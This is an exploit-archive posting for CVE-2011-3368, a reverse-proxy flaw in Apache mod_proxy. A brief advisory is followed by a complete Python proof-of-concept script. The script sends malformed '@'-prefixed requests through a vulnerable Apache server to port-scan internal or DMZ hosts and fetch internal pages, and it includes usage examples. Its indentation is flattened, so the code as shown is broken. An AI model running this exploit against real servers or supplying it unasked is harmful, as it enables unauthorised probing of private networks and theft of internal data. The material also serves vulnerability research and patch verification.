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Apache mod_proxy Proof Of Concept

Apache mod_proxy Proof Of Concept
Posted Oct 11, 2011
Authored by Rodrigo Marcos | Site secforce.co.uk

The mod_proxy module in the Apache HTTP Server 1.3.x through 1.3.42, 2.0.x through 2.0.64, and 2.2.x through 2.2.21 does not properly interact with use of (1) RewriteRule and (2) ProxyPassMatch pattern matches for configuration of a reverse proxy, which allows remote attackers to send requests to intranet servers via a malformed URI containing an initial @ (at sign) character. This is a proof of concept exploit that demonstrates this vulnerability.

tags | exploit, remote, web, proof of concept
advisories | CVE-2011-3368
SHA-256 | 75f36dfa842b3b7a95c175cb265cef819693d09f8c78a6ec91fe76cb8705da9e

Apache mod_proxy Proof Of Concept

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#!/usr/bin/env python

import socket
import string
import getopt, sys


known_ports = [0,21,22,23,25,53,69,80,110,137,139,443,445,3306,3389,5432,5900,8080]

def send_request(url, apache_target, apache_port, internal_target, internal_port, resource):

get = "GET " + url + "@" + internal_target + ":" + internal_port + "/" + resource + " HTTP/1.1\r\n"
get = get + "Host: " + apache_target + "\r\n\r\n"

remoteserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remoteserver.settimeout(3)

try:
remoteserver.connect((apache_target, int(apache_port)))
remoteserver.send(get)
return remoteserver.recv(4096)
except:
return ""

def get_banner(result):
return result[string.find(result, "\r\n\r\n")+4:]


def scan_host(url, apache_target, apache_port, internal_target, tested_ports, resource):

print_banner(url, apache_target, apache_port, internal_target, tested_ports, resource)
for port in tested_ports:
port = str(port)
result = send_request(url, apache_target, apache_port, internal_target, port, resource)
if string.find(result,"HTTP/1.1 200")!=-1 or \
string.find(result,"HTTP/1.1 30")!=-1 or \
string.find(result,"HTTP/1.1 502")!=-1:
print "- Open port: " + port + "/TCP"
print get_banner(result)
elif len(result)==0:
print "- Filtered port: " + port + "/TCP"
else:
print "- Closed port: " + port + "/TCP"


def usage():
print
print "CVE-2011-3368 proof of concept by Rodrigo Marcos"
print "http://www.secforce.co.uk"
print
print "usage():"
print "python apache_scan.py [options]"
print
print " [options]"
print " -r: Remote Apache host"
print " -p: Remote Apache port (default is 80)"
print " -u: URL on the remote web server (default is /)"
print " -d: Host in the DMZ (default is 127.0.0.1)"
print " -e: Port in the DMZ (enables 'single port scan')"
print " -g: GET request to the host in the DMZ (default is /)"
print " -h: Help page"
print
print "examples:"
print " - Port scan of the remote host"
print " python apache_scan.py -r www.example.com -u /images/test.gif"
print " - Port scan of a host in the DMZ"
print " python apache_scan.py -r www.example.com -u /images/test.gif -d internalhost.local"
print " - Retrieve a resource from a host in the DMZ"
print " python apache_scan.py -r www.example.com -u /images/test.gif -d internalhost.local -e 80 -g /accounts/index.html"
print

def print_banner(url, apache_target, apache_port, internal_target, tested_ports, resource):
print
print "CVE-2011-3368 proof of concept by Rodrigo Marcos"
print "http://www.secforce.co.uk"
print
print " [+] Target: " + apache_target
print " [+] Target port: " + apache_port
print " [+] Internal host: " + internal_target
print " [+] Tested ports: " + str(tested_ports)
print " [+] Internal resource: " + resource
print


def main():

global apache_target
global apache_port
global url
global internal_target
global internal_port
global resource

try:
opts, args = getopt.getopt(sys.argv[1:], "u:r:p:d:e:g:h", ["help"])
except getopt.GetoptError:
usage()
sys.exit(2)

try:
for o, a in opts:
if o in ("-h", "--help"):
usage()
sys.exit(2)
if o == "-u":
url=a
if o == "-r":
apache_target=a
if o == "-p":
apache_port=a
if o == "-d":
internal_target = a
if o == "-e":
internal_port=a
if o == "-g":
resource=a

except getopt.GetoptError:
usage()
sys.exit(2)

if apache_target == "":
usage()
sys.exit(2)


url = "/"
apache_target = ""
apache_port = "80"
internal_target = "127.0.0.1"
internal_port = ""
resource = "/"

main()

if internal_port!="":
tested_ports = [internal_port]
else:
tested_ports = known_ports

scan_host(url, apache_target, apache_port, internal_target, tested_ports, resource)


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